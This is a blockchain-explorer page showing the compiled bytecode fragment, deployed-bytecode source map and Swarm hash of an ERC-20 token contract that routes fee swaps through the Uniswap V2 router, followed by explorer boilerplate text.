080821115610caf576000818303905081925083600080828254610c70919061145b565b909155505060405181815260009030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505b816000610cbd85600261143c565b905080821115610ccb578091505b610cd482610e4f565b5050505b505b61060083838361100b565b600a546000906001600160a01b0383811691161480610d115750600b546001600160a01b038381169116145b92915050565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610d51573d6000803e3d6000fd5b5050565b606460005482610d65919061143c565b610d6f919061141a565b60095550565b6000806064610d85600a8561143c565b610d8f919061141a565b9050610d9b818461145b565b30600090815260036020526040812080549295508392909190610dbf908490611402565b90915550929392505050565b6000806064610ddb600a8661143c565b610de5919061141a565b9050610df1818561145b565b30600090815260036020526040812080549296508392909190610e15908490611402565b90915550506001600160a01b03831660009081526003602052604081208054839290610e4290849061145b565b9091555093949350505050565b6008805461ff0019166101001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e9357610e936114de565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f0057600080fd5b505afa158015610f14573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f389190611106565b81600181518110610f4b57610f4b6114de565b60200260200101906001600160a01b031690816001600160a01b031681525050610f8a30737a250d5630b4cf539739df2c5dacb4c659f2488d84610a38565b6040516318cbafe560e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d906318cbafe590610fca908590600090869030904290600401611391565b600060405180830381600087803b158015610fe457600080fd5b505af1158015610ff8573d6000803e3d6000fd5b50506008805461ff001916905550505050565b6001600160a01b0383166000908152600360205260409020548181101561103157600080fd5b6001600160a01b03808516600090815260036020526040808220858503905591851681529081208054849290611068908490611402565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110b491815260200190565b60405180910390a350505050565b80356110cd8161150a565b919050565b803580151581146110cd57600080fd5b6000602082840312156110f457600080fd5b81356110ff8161150a565b9392505050565b60006020828403121561111857600080fd5b81516110ff8161150a565b6000806040838503121561113657600080fd5b82356111418161150a565b915060208301356111518161150a565b809150509250929050565b60008060006060848603121561117157600080fd5b833561117c8161150a565b9250602084013561118c8161150a565b929592945050506040919091013590565b600080604083850312156111b057600080fd5b82356111bb8161150a565b946020939093013593505050565b600080604083850312156111dc57600080fd5b823567ffffffffffffffff808211156111f457600080fd5b818501915085601f83011261120857600080fd5b813560208282111561121c5761121c6114f4565b8160051b604051601f19603f83011681018181108682111715611241576112416114f4565b604052838152828101945085830182870184018b101561126057600080fd5b600096505b8487101561128a57611276816110c2565b865260019690960195948301948301611265565b50965061129a90508782016110d2565b9450505050509250929050565b6000602082840312156112b957600080fd5b6110ff826110d2565b600080604083850312156112d557600080fd5b6112de836110d2565b91506112ec602084016110d2565b90509250929050565b60006020828403121561130757600080fd5b5035919050565b60008060006060848603121561132357600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156113695785810183015185820160400152820161134d565b8181111561137b576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156113e15784516001600160a01b0316835293830193918301916001016113bc565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611415576114156114c8565b500190565b60008261143757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611456576114566114c8565b500290565b60008282101561146d5761146d6114c8565b500390565b600181811c9082168061148657607f821691505b602082108114156114a757634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156114c1576114c16114c8565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610a3557600080fdfea2646970667358221220716e21cdbdb30029555eb8fcdc9fcef916f07ff229307076edc42d8b764695b764736f6c63430008070033

Deployed Bytecode Sourcemap

11337:1187:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2194:85;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3639:193;;;;;;;;;;-1:-1:-1;3639:193:0;;;;;:::i;:::-;;:::i;:::-;;;5435:14:1;;5428:22;5410:41;;5398:2;5383:18;3639:193:0;5270:187:1;5646:25:0;;;;;;;;;;-1:-1:-1;5646:25:0;;;;-1:-1:-1;;;5646:25:0;;;;;;2477:102;;;;;;;;;;-1:-1:-1;2532:7:0;2559:12;2477:102;;;6210:25:1;;;6198:2;6183:18;2477:102:0;6064:177:1;4068:438:0;;;;;;;;;;-1:-1:-1;4068:438:0;;;;;:::i;:::-;;:::i;2384:85::-;;;;;;;;;;-1:-1:-1;2384:85:0;;1931:2;7373:36:1;;7361:2;7346:18;2384:85:0;7231:184:1;5678:37:0;;;;;;;;;;-1:-1:-1;5678:37:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;10890:90;;;;;;;;;;;;;:::i;:::-;;5611:28;;;;;;;;;;-1:-1:-1;5611:28:0;;;;-1:-1:-1;;;;;5611:28:0;;;;;;-1:-1:-1;;;;;4305:32:1;;;4287:51;;4275:2;4260:18;5611:28:0;4141:203:1;11958:185:0;;;;;;;;;;-1:-1:-1;11958:185:0;;;;;:::i;:::-;;:::i;10349:238::-;;;;;;;;;;-1:-1:-1;10349:238:0;;;;;:::i;:::-;;:::i;2587:160::-;;;;;;;;;;-1:-1:-1;2587:160:0;;;;;:::i;:::-;-1:-1:-1;;;;;2721:18:0;2689:7;2721:18;;;:9;:18;;;;;;;2587:160;5822:28;;;;;;;;;;;;;;;;2287:89;;;;;;;;;;;;;:::i;10788:94::-;;;;;;;;;;-1:-1:-1;10788:94:0;;;;;:::i;:::-;;:::i;10149:192::-;;;;;;;;;;-1:-1:-1;10149:192:0;;;;;:::i;:::-;;:::i;2755:199::-;;;;;;;;;;-1:-1:-1;2755:199:0;;;;;:::i;:::-;;:::i;10595:185::-;;;;;;;;;;-1:-1:-1;10595:185:0;;;;;:::i;:::-;;:::i;6263:717::-;;;;;;;;;;;;;:::i;3445:186::-;;;;;;;;;;-1:-1:-1;3445:186:0;;;;;:::i;:::-;-1:-1:-1;;;;;3596:18:0;;;3564:7;3596:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3445:186;12421:100;;;;;;;;;;-1:-1:-1;12421:100:0;;;;;:::i;:::-;;:::i;9337:93::-;;;;;;;;;;-1:-1:-1;9337:93:0;;;;;:::i;:::-;;:::i;2194:85::-;2233:13;2266:5;2259:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2194:85;:::o;3639:193::-;3743:4;3765:37;3774:10;3786:7;3795:6;3765:8;:37::i;:::-;-1:-1:-1;3820:4:0;3639:193;;;;:::o;4068:438::-;4202:4;4219:36;4229:6;4237:9;4248:6;4219:9;:36::i;:::-;-1:-1:-1;;;;;4295:19:0;;4268:24;4295:19;;;:11;:19;;;;;;;;4315:10;4295:31;;;;;;;;4345:26;;;;4337:35;;;;;;4408:55;4417:6;4425:10;4456:6;4437:16;:25;4408:8;:55::i;:::-;-1:-1:-1;4494:4:0;;4068:438;-1:-1:-1;;;;4068:438:0:o;10890:90::-;5920:19;5928:10;5920:7;:19::i;:::-;5912:28;;;;;;10940:32:::1;10950:21;10940:9;:32::i;:::-;10890:90::o:0;11958:185::-;5920:19;5928:10;5920:7;:19::i;:::-;5912:28;;;;;;12083:27:::1;:52:::0;11958:185::o;10349:238::-;5920:19;5928:10;5920:7;:19::i;:::-;5912:28;;;;;;10473:9:::1;10468:112;10492:8;:15;10488:1;:19;10468:112;;;10563:5;10529:18;:31;10548:8;10557:1;10548:11;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10529:31:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10529:31:0;:39;;-1:-1:-1;;10529:39:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10509:3:::1;::::0;::::1;:::i;:::-;;;10468:112;;;;10349:238:::0;;:::o;2287:89::-;2328:13;2361:7;2354:14;;;;;:::i;10788:94::-;5920:19;5928:10;5920:7;:19::i;:::-;5912:28;;;;;;10854:12:::1;:20:::0;;-1:-1:-1;;10854:20:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10788:94::o;10149:192::-;5920:19;5928:10;5920:7;:19::i;:::-;5912:28;;;;;;10240:9:::1;10235:99;10259:8;:15;10255:1;:19;10235:99;;;10317:5;10296;:18;10302:8;10311:1;10302:11;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10296:18:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10296:18:0;:26;;-1:-1:-1;;10296:26:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10276:3:::1;::::0;::::1;:::i;:::-;;;10235:99;;2755:199:::0;2862:4;2884:40;2894:10;2906:9;2917:6;2884:9;:40::i;10595:185::-;5920:19;5928:10;5920:7;:19::i;:::-;5912:28;;;;;;10709:13:::1;:21:::0;;-1:-1:-1;;;;10709:21:0::1;-1:-1:-1::0;;;10709:21:0;::::1;;::::0;;;::::1;::::0;;;::::1;::::0;;;10741:12:::1;:31:::0;;-1:-1:-1;;10741:31:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10595:185::o;6263:717::-;5920:19;5928:10;5920:7;:19::i;:::-;5912:28;;;;;;6324:13:::1;::::0;-1:-1:-1;;;;;6324:13:0::1;:27:::0;6316:36:::1;;;::::0;::::1;;6363:12;5561:42;-1:-1:-1::0;;;;;6396:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6378:56:0::1;;6457:4;5561:42;-1:-1:-1::0;;;;;6477:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6378:133;::::0;-1:-1:-1;;;;;;6378:133:0::1;::::0;;;;;;-1:-1:-1;;;;;4579:15:1;;;6378:133:0::1;::::0;::::1;4561:34:1::0;4631:15;;4611:18;;;4604:43;4496:18;;6378:133:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6549:12;::::0;;6540:4:::1;6522:24:::0;;;:9:::1;:24;::::0;;;;;;;:39;;;6572:11:::1;:26:::0;;;;;;5561:42:::1;6572:53:::0;;;;;;;;;:68;;;;-1:-1:-1;;;;;6651:24:0;::::1;::::0;;:18:::1;:24:::0;;;;;;:31;;-1:-1:-1;;6651:31:0::1;6678:4;6651:31;::::0;;6798:12;;6693:215;;-1:-1:-1;;;6693:215:0;;;;::::1;4999:34:1::0;;;;5049:18;;;5042:34;;;;5092:18;;;5085:34;;;5135:18;;;5128:34;;;;6857:10:0::1;5178:19:1::0;;;5171:44;6882:15:0::1;5231:19:1::0;;;5224:35;6651:24:0;;-1:-1:-1;6693:32:0::1;::::0;6733:21:::1;::::0;4933:19:1;;6693:215:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6921:13:0::1;:20:::0;;-1:-1:-1;;;;;;6952:20:0;-1:-1:-1;;;;;6921:20:0;;::::1;6952::::0;;;;-1:-1:-1;;;6952:20:0::1;::::0;;;-1:-1:-1;6263:717:0:o;12421:100::-;5920:19;5928:10;5920:7;:19::i;:::-;5912:28;;;;;;12496:6:::1;:17:::0;;-1:-1:-1;;;;;;12496:17:0::1;-1:-1:-1::0;;;;;12496:17:0;;;::::1;::::0;;;::::1;::::0;;12421:100::o;9337:93::-;5920:19;5928:10;5920:7;:19::i;:::-;5912:28;;;;;;9403:19:::1;9414:7;9403:10;:19::i;:::-;9337:93:::0;:::o;3840:220::-;-1:-1:-1;;;;;3968:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;4020:32;;6210:25:1;;;4020:32:0;;6183:18:1;4020:32:0;;;;;;;3840:220;;;:::o;6988:1837::-;-1:-1:-1;;;;;7121:11:0;;;;;;:5;:11;;;;;;;;7120:12;:26;;;;-1:-1:-1;;;;;;7137:9:0;;;;;;:5;:9;;;;;;;;7136:10;7120:26;7112:35;;;;;;7188:13;;-1:-1:-1;;;;;7180:21:0;;;7188:13;;7180:21;:48;;;;-1:-1:-1;;;;;;7206:22:0;;;;;;:18;:22;;;;;;;;7205:23;7180:48;7176:293;;;7253:13;;-1:-1:-1;;;7253:13:0;;;;7245:22;;;;;;7287:12;;;;7282:60;;7335:6;;-1:-1:-1;;;;;7309:13:0;;;;;;:9;:13;;;;;;:22;;7325:6;;7309:22;:::i;:::-;:32;;7301:41;;;;;;7385:12;;;;7381:34;;;-1:-1:-1;;;;;7399:9:0;;;;;;:5;:9;;;;;:16;;-1:-1:-1;;7399:16:0;7411:4;7399:16;;;7381:34;7439:18;7450:6;7439:10;:18::i;:::-;7430:27;;7176:293;7503:7;;;;;;;7502:8;:39;;;;-1:-1:-1;7514:13:0;;-1:-1:-1;;;;;7514:13:0;:27;;7502:39;:62;;;;-1:-1:-1;7551:13:0;;-1:-1:-1;;;;;7545:19:0;;;7551:13;;7545:19;7502:62;7498:1119;;;7590:25;7602:6;7610:4;7590:11;:25::i;:::-;7679:4;7630:28;2721:18;;;:9;:18;;;;;;7581:34;;-1:-1:-1;7704:24:0;;7700:906;;7749:26;7861:3;7827:30;11915:27;;;11775:175;7827:30;7789:13;;-1:-1:-1;;;;;7789:13:0;2689:7;2721:18;;;:9;:18;;;;;;7779:78;;;;:::i;:::-;7778:86;;;;:::i;:::-;7749:115;;7910:18;7887:20;:41;7883:426;;;7953:17;8065:18;8042:20;:41;8030:53;;8152:18;8129:41;;8209:6;8193:12;;:22;;;;;;;:::i;:::-;;;;-1:-1:-1;;8243:46:0;;6210:25:1;;;8275:1:0;;8260:4;;8243:46;;6198:2:1;6183:18;8243:46:0;;;;;;;7930:379;7883:426;8399:20;8379:17;8461:10;8465:6;8461:1;:10;:::i;:::-;8438:33;;8506:12;8494:9;:24;8490:54;;;8532:12;8520:24;;8490:54;8563:27;8580:9;8563:16;:27::i;:::-;7730:876;;;7700:906;7566:1051;7498:1119;8734:33;8750:4;8756:2;8760:6;8734:15;:33::i;12267:146::-;12368:6;;12333:4;;-1:-1:-1;;;;;12357:17:0;;;12368:6;;12357:17;;:48;;-1:-1:-1;12389:16:0;;-1:-1:-1;;;;;12378:27:0;;;12389:16;;12378:27;12357:48;12350:55;12267:146;-1:-1:-1;;12267:146:0:o;12151:108::-;12220:16;;12212:39;;-1:-1:-1;;;;;12220:16:0;;;;12212:39;;;;;12247:3;;12220:16;12212:39;12220:16;12212:39;12247:3;12220:16;12212:39;;;;;;;;;;;;;;;;;;;;;12151:108;:::o;9438:104::-;9531:3;9515:12;;9505:7;:22;;;;:::i;:::-;9504:30;;;;:::i;:::-;9495:6;:39;-1:-1:-1;9438:104:0:o;8833:217::-;8886:7;;8949:3;8921:24;11757:2;8921:6;:24;:::i;:::-;8920:32;;;;:::i;:::-;8906:46;-1:-1:-1;8963:13:0;8906:46;8963:13;;:::i;:::-;9005:4;8987:24;;;;:9;:24;;;;;:31;;8963:13;;-1:-1:-1;9015:3:0;;8987:24;;;:31;;9015:3;;8987:31;:::i;:::-;;;;-1:-1:-1;9036:6:0;;8833:217;-1:-1:-1;;;8833:217:0:o;9056:271::-;9127:7;;9190:3;9162:24;11757:2;9162:6;:24;:::i;:::-;9161:32;;;;:::i;:::-;9147:46;-1:-1:-1;9204:13:0;9147:46;9204:13;;:::i;:::-;9246:4;9228:24;;;;:9;:24;;;;;:31;;9204:13;;-1:-1:-1;9256:3:0;;9228:24;;;:31;;9256:3;;9228:31;:::i;:::-;;;;-1:-1:-1;;;;;;;9270:18:0;;;;;;:9;:18;;;;;:25;;9292:3;;9270:18;:25;;9292:3;;9270:25;:::i;:::-;;;;-1:-1:-1;9313:6:0;;9056:271;-1:-1:-1;;;;9056:271:0:o;9550:591::-;6002:7;:14;;-1:-1:-1;;6002:14:0;;;;;9712:16:::1;::::0;;9726:1:::1;9712:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9712:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9712:16:0::1;9688:40;;9757:4;9739;9744:1;9739:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;9739:23:0::1;;;-1:-1:-1::0;;;;;9739:23:0::1;;;::::0;::::1;5561:42;-1:-1:-1::0;;;;;9783:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9773:4;9778:1;9773:7;;;;;;;;:::i;:::-;;;;;;:33;-1:-1:-1::0;;;;;9773:33:0::1;;;-1:-1:-1::0;;;;;9773:33:0::1;;;::::0;::::1;9819:63;9836:4;5561:42;9870:11;9819:8;:63::i;:::-;9921:212;::::0;-1:-1:-1;;;9921:212:0;;5561:42:::1;::::0;9921:38:::1;::::0;:212:::1;::::0;9974:11;;10000:1:::1;::::0;10044:4;;10071::::1;::::0;10107:15:::1;::::0;9921:212:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6039:7:0;:15;;-1:-1:-1;;6039:15:0;;;-1:-1:-1;;;;9550:591:0:o;2962:475::-;-1:-1:-1;;;;;3160:15:0;;3136:21;3160:15;;;:9;:15;;;;;;3194:23;;;;3186:32;;;;;;-1:-1:-1;;;;;3254:15:0;;;;;;;:9;:15;;;;;;3272:22;;;3254:40;;3316:13;;;;;;;;:23;;3288:6;;3254:15;3316:23;;3288:6;;3316:23;:::i;:::-;;;;;;;;3370:2;-1:-1:-1;;;;;3355:26:0;3364:4;-1:-1:-1;;;;;3355:26:0;;3374:6;3355:26;;;;6210:25:1;;6198:2;6183:18;;6064:177;3355:26:0;;;;;;;;3074:363;2962:475;;;:::o;14:134:1:-;82:20;;111:31;82:20;111:31;:::i;:::-;14:134;;;:::o;153:160::-;218:20;;274:13;;267:21;257:32;;247:60;;303:1;300;293:12;318:247;377:6;430:2;418:9;409:7;405:23;401:32;398:52;;;446:1;443;436:12;398:52;485:9;472:23;504:31;529:5;504:31;:::i;:::-;554:5;318:247;-1:-1:-1;;;318:247:1:o;570:251::-;640:6;693:2;681:9;672:7;668:23;664:32;661:52;;;709:1;706;699:12;661:52;741:9;735:16;760:31;785:5;760:31;:::i;826:388::-;894:6;902;955:2;943:9;934:7;930:23;926:32;923:52;;;971:1;968;961:12;923:52;1010:9;997:23;1029:31;1054:5;1029:31;:::i;:::-;1079:5;-1:-1:-1;1136:2:1;1121:18;;1108:32;1149:33;1108:32;1149:33;:::i;:::-;1201:7;1191:17;;;826:388;;;;;:::o;1219:456::-;1296:6;1304;1312;1365:2;1353:9;1344:7;1340:23;1336:32;1333:52;;;1381:1;1378;1371:12;1333:52;1420:9;1407:23;1439:31;1464:5;1439:31;:::i;:::-;1489:5;-1:-1:-1;1546:2:1;1531:18;;1518:32;1559:33;1518:32;1559:33;:::i;:::-;1219:456;;1611:7;;-1:-1:-1;;;1665:2:1;1650:18;;;;1637:32;;1219:456::o;1680:315::-;1748:6;1756;1809:2;1797:9;1788:7;1784:23;1780:32;1777:52;;;1825:1;1822;1815:12;1777:52;1864:9;1851:23;1883:31;1908:5;1883:31;:::i;:::-;1933:5;1985:2;1970:18;;;;1957:32;;-1:-1:-1;;;1680:315:1:o;2000:1202::-;2090:6;2098;2151:2;2139:9;2130:7;2126:23;2122:32;2119:52;;;2167:1;2164;2157:12;2119:52;2207:9;2194:23;2236:18;2277:2;2269:6;2266:14;2263:34;;;2293:1;2290;2283:12;2263:34;2331:6;2320:9;2316:22;2306:32;;2376:7;2369:4;2365:2;2361:13;2357:27;2347:55;;2398:1;2395;2388:12;2347:55;2434:2;2421:16;2456:4;2479:2;2475;2472:10;2469:36;;;2485:18;;:::i;:::-;2531:2;2528:1;2524:10;2563:2;2557:9;2626:2;2622:7;2617:2;2613;2609:11;2605:25;2597:6;2593:38;2681:6;2669:10;2666:22;2661:2;2649:10;2646:18;2643:46;2640:72;;;2692:18;;:::i;:::-;2728:2;2721:22;2778:18;;;2812:15;;;;-1:-1:-1;2847:11:1;;;2877;;;2873:20;;2870:33;-1:-1:-1;2867:53:1;;;2916:1;2913;2906:12;2867:53;2938:1;2929:10;;2948:169;2962:2;2959:1;2956:9;2948:169;;;3019:23;3038:3;3019:23;:::i;:::-;3007:36;;2980:1;2973:9;;;;;3063:12;;;;3095;;2948:169;;;-1:-1:-1;3136:6:1;-1:-1:-1;3161:35:1;;-1:-1:-1;3177:18:1;;;3161:35;:::i;:::-;3151:45;;;;;;2000:1202;;;;;:::o;3207:180::-;3263:6;3316:2;3304:9;3295:7;3291:23;3287:32;3284:52;;;3332:1;3329;3322:12;3284:52;3355:26;3371:9;3355:26;:::i;3392:248::-;3454:6;3462;3515:2;3503:9;3494:7;3490:23;3486:32;3483:52;;;3531:1;3528;3521:12;3483:52;3554:26;3570:9;3554:26;:::i;:::-;3544:36;;3599:35;3630:2;3619:9;3615:18;3599:35;:::i;:::-;3589:45;;3392:248;;;;;:::o;3645:180::-;3704:6;3757:2;3745:9;3736:7;3732:23;3728:32;3725:52;;;3773:1;3770;3763:12;3725:52;-1:-1:-1;3796:23:1;;3645:180;-1:-1:-1;3645:180:1:o;3830:306::-;3918:6;3926;3934;3987:2;3975:9;3966:7;3962:23;3958:32;3955:52;;;4003:1;4000;3993:12;3955:52;4032:9;4026:16;4016:26;;4082:2;4071:9;4067:18;4061:25;4051:35;;4126:2;4115:9;4111:18;4105:25;4095:35;;3830:306;;;;;:::o;5462:597::-;5574:4;5603:2;5632;5621:9;5614:21;5664:6;5658:13;5707:6;5702:2;5691:9;5687:18;5680:34;5732:1;5742:140;5756:6;5753:1;5750:13;5742:140;;;5851:14;;;5847:23;;5841:30;5817:17;;;5836:2;5813:26;5806:66;5771:10;;5742:140;;;5900:6;5897:1;5894:13;5891:91;;;5970:1;5965:2;5956:6;5945:9;5941:22;5937:31;5930:42;5891:91;-1:-1:-1;6043:2:1;6022:15;-1:-1:-1;;6018:29:1;6003:45;;;;6050:2;5999:54;;5462:597;-1:-1:-1;;;5462:597:1:o;6246:980::-;6508:4;6556:3;6545:9;6541:19;6587:6;6576:9;6569:25;6613:2;6651:6;6646:2;6635:9;6631:18;6624:34;6694:3;6689:2;6678:9;6674:18;6667:31;6718:6;6753;6747:13;6784:6;6776;6769:22;6822:3;6811:9;6807:19;6800:26;;6861:2;6853:6;6849:15;6835:29;;6882:1;6892:195;6906:6;6903:1;6900:13;6892:195;;;6971:13;;-1:-1:-1;;;;;6967:39:1;6955:52;;7062:15;;;;7027:12;;;;7003:1;6921:9;6892:195;;;-1:-1:-1;;;;;;;7143:32:1;;;;7138:2;7123:18;;7116:60;-1:-1:-1;;;7207:3:1;7192:19;7185:35;7104:3;6246:980;-1:-1:-1;;;6246:980:1:o;7420:128::-;7460:3;7491:1;7487:6;7484:1;7481:13;7478:39;;;7497:18;;:::i;:::-;-1:-1:-1;7533:9:1;;7420:128::o;7553:217::-;7593:1;7619;7609:132;;7663:10;7658:3;7654:20;7651:1;7644:31;7698:4;7695:1;7688:15;7726:4;7723:1;7716:15;7609:132;-1:-1:-1;7755:9:1;;7553:217::o;7775:168::-;7815:7;7881:1;7877;7873:6;7869:14;7866:1;7863:21;7858:1;7851:9;7844:17;7840:45;7837:71;;;7888:18;;:::i;:::-;-1:-1:-1;7928:9:1;;7775:168::o;7948:125::-;7988:4;8016:1;8013;8010:8;8007:34;;;8021:18;;:::i;:::-;-1:-1:-1;8058:9:1;;7948:125::o;8078:380::-;8157:1;8153:12;;;;8200;;;8221:61;;8275:4;8267:6;8263:17;8253:27;;8221:61;8328:2;8320:6;8317:14;8297:18;8294:38;8291:161;;;8374:10;8369:3;8365:20;8362:1;8355:31;8409:4;8406:1;8399:15;8437:4;8434:1;8427:15;8291:161;;8078:380;;;:::o;8463:135::-;8502:3;-1:-1:-1;;8523:17:1;;8520:43;;;8543:18;;:::i;:::-;-1:-1:-1;8590:1:1;8579:13;;8463:135::o;8603:127::-;8664:10;8659:3;8655:20;8652:1;8645:31;8695:4;8692:1;8685:15;8719:4;8716:1;8709:15;8735:127;8796:10;8791:3;8787:20;8784:1;8777:31;8827:4;8824:1;8817:15;8851:4;8848:1;8841:15;8867:127;8928:10;8923:3;8919:20;8916:1;8909:31;8959:4;8956:1;8949:15;8983:4;8980:1;8973:15;8999:131;-1:-1:-1;;;;;9074:31:1;;9064:42;;9054:70;;9120:1;9117;9110:12

Swarm Source

ipfs://716e21cdbdb30029555eb8fcdc9fcef916f07ff229307076edc42d8b764695b7
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.